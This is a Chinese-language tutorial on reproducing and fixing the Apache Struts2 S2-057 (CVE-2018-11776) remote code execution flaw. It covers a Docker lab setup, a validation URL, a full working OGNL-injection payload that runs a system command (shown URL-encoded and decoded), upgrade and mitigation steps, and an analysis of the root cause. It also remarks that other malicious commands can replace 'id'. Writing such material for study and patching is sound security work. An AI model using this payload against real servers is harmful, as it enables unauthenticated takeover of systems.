Struts2-057 (CVE-2018-11776) 远程代码执行漏洞复现
字数 1224 2025-08-15 21:32:35
Struts2-057 (CVE-2018-11776) 远程代码执行漏洞分析与复现指南
1. 漏洞概述
Struts2-057 (CVE-2018-11776) 是Apache Struts2框架中的一个严重远程代码执行漏洞,影响Struts2的某些版本。该漏洞源于Struts2在处理某些特殊URL请求时的缺陷,攻击者可以构造恶意请求实现远程代码执行。
2. 受影响版本
- Struts 2.3 - Struts 2.3.34
- Struts 2.5 - Struts 2.5.16
3. 漏洞环境搭建
使用Docker搭建测试环境
-
启动漏洞环境容器:
docker pull vulnerables/struts2-showcase docker run -d -p 8080:8080 vulnerables/struts2-showcase -
验证环境是否正常运行:
访问http://[your-ip]:8080/struts2-showcase应能看到Struts2展示页面
4. 漏洞验证方法
基本验证
访问以下URL测试漏洞是否存在:
http://[your-ip]:8080/struts2-showcase/${(111+111)}/actionChain1.action
预期结果:
如果页面重定向到 /struts2-showcase/222/register2.action,说明表达式 ${(111+111)} 被成功执行并计算为222,表明存在Struts2-057漏洞。
5. 漏洞利用
远程代码执行POC
构造以下恶意URL执行系统命令(示例中执行id命令):
http://[your-ip]:8080/struts2-showcase/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
POC解码分析
URL解码后的核心攻击载荷:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
攻击载荷解析
- 获取OgnlContext的默认成员访问权限
- 获取当前请求的ValueStack上下文
- 获取ActionContext容器实例
- 获取OgnlUtil实例
- 清除被排除的包名和类名限制
- 设置成员访问权限
- 通过Runtime执行系统命令
- 读取命令执行结果并输出
6. 漏洞修复方案
官方修复
升级到以下安全版本:
- Struts 2.3.35
- Struts 2.5.17 或更高版本
临时缓解措施
如果无法立即升级:
- 限制访问Struts2的命名空间和顶级命名空间
- 在Web应用防火墙(WAF)中添加规则拦截包含OGNL表达式的请求
- 禁用动态方法调用(DMI)
7. 漏洞原理分析
该漏洞源于Struts2在处理重定向结果时,对用户可控的URL参数未进行充分过滤,导致攻击者可以通过构造特殊的OGNL表达式实现远程代码执行。具体来说:
- 当Struts2配置中使用了没有设置命名空间或使用通配符命名空间的Action
- 且上层Action配置中未设置或使用通配符命名空间
- 且请求的URL中包含了恶意构造的OGNL表达式
满足以上条件时,Struts2会将用户输入的URL参数作为OGNL表达式解析执行,从而导致远程代码执行漏洞。
8. 注意事项
- 复现此漏洞时应在授权环境下进行
- 实际攻击中可替换
id命令为其他恶意命令 - 该漏洞利用不需要任何身份验证
- 攻击成功后可能完全控制服务器,需高度重视
9. 参考资源
- Apache Struts2官方安全公告
- CVE-2018-11776漏洞详情
- OGNL表达式注入相关技术文档